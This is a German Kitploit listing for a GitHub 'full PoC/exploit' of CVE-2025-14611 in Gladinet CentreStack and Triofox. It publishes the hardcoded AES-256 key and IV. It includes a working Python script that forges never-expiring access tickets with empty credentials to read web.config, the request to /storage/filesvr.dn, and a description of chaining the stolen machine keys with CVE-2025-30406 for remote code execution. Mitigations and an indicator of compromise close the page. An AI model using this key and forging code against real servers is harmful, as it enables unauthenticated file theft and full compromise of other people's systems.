Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/pl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit
SchwachstellenanalyseExploitationReverse EngineeringWebanwendungs-ExploitationKryptographiePenetrationstestsAuthentifizierungRed TeamingPayload-Entwicklung
GitHubpl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit

CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit

CVE-2025-14611 CentreStack und Triofox vollständiger Poc/Exploit

Repository anzeigen
2vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-14611 CentreStack und Triofox vollständiger Poc/Exploit

Zusammenfassung

Diese Schwachstelle entsteht durch hartkodierte kryptografische Schlüssel in den Produkten Gladinet CentreStack und Triofox, die das beliebige Lesen von Dateien über gefälschte Zugriffs-Tickets ermöglicht. Die AES-256-Verschlüsselung verwendet statische, unveränderliche Schlüssel, die direkt in die Anwendungsbinärdatei (GladCtrl64.dll) eingebettet sind. Dadurch kann jeder Angreifer, der diese Schlüssel extrahiert:

  1. Legitime Zugriffs-Tickets entschlüsseln, um interne Dateipfade und die Systemkonfiguration zu verstehen
  2. Böswillige Zugriffs-Tickets mit nie ablaufenden Zeitstempeln fälschen, um beliebige Dateien auf dem Server zu lesen
  3. Die Authentifizierung umgehen, indem Benutzername- und Passwortfelder leer gelassen werden, wodurch die Anwendung auf die IIS-Anwendungspoolidentität zurückfällt
  4. Diese Schwachstelle mit CVE-2025-30406 (ViewState-Deserialisierung) verketten, um Remote-Codeausführung zu erreichen

Die Schwachstelle betrifft alle Versionen von Gladinet CentreStack und Triofox vor 16.12.10420.56791 und wird seit mindestens November 2025 aktiv in freier Wildbahn ausgenutzt.

Analyse

1. Schlüsselerzeugung und -speicherung

Die Schwachstelle beginnt damit, wie kryptografische Schlüssel in GladCtrl64.dll erzeugt und gespeichert werden. Die Funktionen und sind dafür verantwortlich, den AES-Verschlüsselungsschlüssel und den Initialisierungsvektor (IV) bereitzustellen.

GenerateSecKey
GenerateSecKey1

Ablauf der Schlüsselerzeugung:

Beim Start der CentreStack-Serveranwendung ruft die Klasse SysKeyMgr AccessKeyMgr64.GetSysEncKey auf, das wiederum GenerateSecKey in GladCtrl64.dll aufruft. Diese Funktion:

root@kitploit:~
PSTR sub_180001000(wchar16* arg1)
{
    int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, 
        lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr, 
        cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
    
    if (cbMultiByte != 0) {
        PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
        
        if (lpMultiByteStr != 0) {
            if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1, 
                    cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte, 
                    lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
                return lpMultiByteStr;
            
            sub_180001290(lpMultiByteStr);
        }
    }
    return nullptr;
}

Die Funktion konvertiert UTF-16LE-codierte Zeichenfolgen mithilfe der Windows-API WideCharToMultiByte mit der Codepage 0xfde9 (UTF-8) nach UTF-8. Die Quelldaten werden an zwei statischen Speicherstellen abgelegt:

  • Schlüsselquelle (0x18000c000): Eine 100-Byte-UTF-16LE-Zeichenfolge mit chinesischem Text
  • IV-Quelle (0x18000c2c0): Eine 100-Byte-UTF-16LE-Zeichenfolge, die mit „moDriv" beginnt, gefolgt von japanischem Text

Kritischer Befund: Diese Zeichenfolgen ändern sich bei keiner Installation der Software. Der Name der Funktion GenerateSecKey ist irreführend – sie erzeugt keine Schlüssel dynamisch, sondern gibt lediglich bereits vorhandene statische Zeichenfolgen aus der Binärdatei zurück.

2. Die hartkodierten Schlüssel

Durch Reverse-Engineering-Analyse wurden die hartkodierten Schlüssel aus dem .data-Abschnitt von GladCtrl64.dll extrahiert:

Speicher an 0x18000c000 (Schlüsselquelle):

root@kitploit:~
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...

Beim Dekodieren von UTF-16LE nach UTF-8 ergibt dies chinesischen Text:

root@kitploit:~
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...

Speicher an 0x18000c2c0 (IV-Quelle):

root@kitploit:~
6d 6f 44 72 69 76 65 00   // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...

Beim Dekodieren ergibt dies:

root@kitploit:~
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...

Endgültige kryptografische Schlüssel:

Die Anwendung verwendet die ersten 32 Bytes der UTF-8-codierten Schlüsselquelle als AES-256-Schlüssel und die ersten 16 Bytes der UTF-8-codierten IV-Quelle als Initialisierungsvektor:

root@kitploit:~
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV:      6d6f4472697665e381afe38081e38389

3. Der angreifbare Dateidownload-Handler

Die Schwachstelle wird über den HTTP-Handler filesvr.dn ausgenutzt, der der Klasse GladinetStorage.FileDownloadHandler zugeordnet ist. Dieser Handler verarbeitet verschlüsselte Zugriffs-Tickets, die über den Abfrageparameter t übergeben werden.

Struktur des Zugriffs-Tickets:

Zugriffs-Tickets sind zeilenweise getrennte Felder, die mit AES-256-CBC verschlüsselt werden:

root@kitploit:~
Line 0: Filepath (absolute path on server)
Line 1: Username (Windows account to impersonate)
Line 2: Password (credentials for that account)
Line 3: Timestamp (ticket creation time)

Der Entschlüsselungsprozess:

  1. Der Handler empfängt den Parameter t und führt eine benutzerdefinierte Bereinigung durch, wobei URL-sichere Zeichen getauscht werden (: → +, | → /)
  2. Der Wert wird Base64-dekodiert, um den Chiffretext zu erhalten
  3. AccessTicket.Decrypt wird aufgerufen, das den statischen SysKey (erste 32 Bytes) und SysKey1 (erste 16 Bytes) abruft
  4. Eine AES-256-CBC-Chiffre wird mit diesen Schlüsseln konfiguriert
  5. Das Ticket wird entschlüsselt und geparst

Umgehung der Zeitstempelvalidierung:

Der Handler vergleicht den Zeitstempel des Tickets mit der aktuellen Serverzeit. Wenn das Ticket älter als 4 Stunden ist, wird es abgelehnt. Angreifer können den Zeitstempel jedoch auf das Jahr 9999 setzen und so ein Ticket erstellen, das nie abläuft:

root@kitploit:~
9999-11-27 14:52:04.009217

Dadurch entsteht eine dauerhafte Hintertür, die unbegrenzt wiederverwendet werden kann.

4. Authentifizierungsumgehung durch leere Anmeldedaten

Nach der Entschlüsselung extrahiert der Handler die Felder Benutzername und Passwort und versucht, einen Impersonierungskontext zu initialisieren. Kritische Schwachstelle: Wenn beide Felder leere Zeichenfolgen sind, schlägt die Impersonierungslogik fehl und fällt auf die IIS-Anwendungspoolidentität zurück.

Dies ermöglicht ein nicht authentifiziertes beliebiges Lesen von Dateien, da die Anwendung mit erhöhten Rechten läuft, aber keine gültigen Anmeldeinformationen erfordert.

Beispiel für ein böswilliges Ticket:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

5. Ausnutzung in freier Wildbahn

Seit November 2025 wurde eine aktive Ausnutzung beobachtet. Angreifer folgen diesem Muster:

Schritt 1: Zugriffs-Ticket fälschen

Mit den extrahierten Schlüsseln erstellen Angreifer verschlüsselte Tickets, die auf web.config abzielen:

root@kitploit:~
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')

ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')

Schritt 2: Böswillige Anfrage senden

Das gefälschte Ticket wird an den angreifbaren Endpunkt gesendet:

root@kitploit:~
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com

Schritt 3: Maschinenschlüssel extrahieren

Die Antwort enthält die Datei web.config mit Maschinenschlüsseln:

root@kitploit:~
<machineKey 
    validationKey="ABC123..." 
    decryptionKey="DEF456..." 
    validation="SHA1" 
    decryption="AES" 
/>

Schritt 4: Mit CVE-2025-30406 verketten

Diese Maschinenschlüssel ermöglichen ViewState-Deserialisierungsangriffe, die zu Remote-Codeausführung führen. Angreifer erstellen böswillige ViewState-Payloads, die mit den extrahierten Schlüsseln signiert werden, und erreichen so die vollständige Kompromittierung des Systems.

6. Beispiel aus einem realen Angriff

Aus beobachteten Ausnutzungsversuchen (Dezember 2025):

Verschlüsseltes Ticket vom Angreifer:

root@kitploit:~
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu

Entschlüsselter Inhalt:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

Angriffsquelle: IP-Adresse 147.124.216[.]205
Zielorganisationen: 9 bestätigte Opfer aus den Bereichen Gesundheitswesen, Technologie und Unternehmensdienstleistungen
Zeitplan des Angriffs: Erste Ausnutzungsversuche im November 2025, mit Eskalation im Dezember 2025

Fazit

CVE-2025-14611 stellt ein kritisches Versagen im Management kryptografischer Schlüssel dar. Durch das direkte Einbetten statischer, unveränderlicher Schlüssel in die Anwendungsbinärdatei hat Gladinet einen universellen Generalschlüssel geschaffen, der bei allen Installationen funktioniert. Diese Schwachstelle zeigt mehrere schwerwiegende Sicherheitsfehler:

  1. Hartkodierte Kryptografie: Die Verwendung statischer Schlüssel eliminiert jeden Sicherheitsnutzen der Verschlüsselung
  2. Authentifizierungsumgehung: Die Behandlung leerer Anmeldedaten ermöglicht nicht authentifizierten Zugriff
  3. Nie ablaufende Tickets: Zeitstempel in ferner Zukunft schaffen dauerhafte Hintertüren
  4. Exploit-Verkettung: In Kombination mit CVE-2025-30406 ermöglicht dies die vollständige Kompromittierung des Systems

Empfehlungen zur Abschwächung:

  • Sofort: Update auf CentreStack/Triofox Version 16.12.10420.56791 oder neuer
  • Kritisch: Maschinenschlüssel in web.config nach dem Patchen rotieren
  • Abwehr: IIS-Protokolle auf Zugriffe auf /storage/filesvr.dn mit verdächtigen t-Parametern überwachen
  • Erkennung: Protokolle auf den Indikator durchsuchen: vghpI7EToZUDIZDdprSubL3mTZ2 (verschlüsselte Darstellung des web.config-Pfads)
  • Netzwerk: Eingehenden Zugriff auf CentreStack aus nicht vertrauenswürdigen Netzwerken blockieren

Indikator für eine Kompromittierung:

Jede HTTP-Anfrage, die Folgendes enthält:

root@kitploit:~
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2

Diese Teilzeichenfolge identifiziert eindeutig Versuche, diese Schwachstelle zum Abruf von web.config auszunutzen.

Tool herunterladen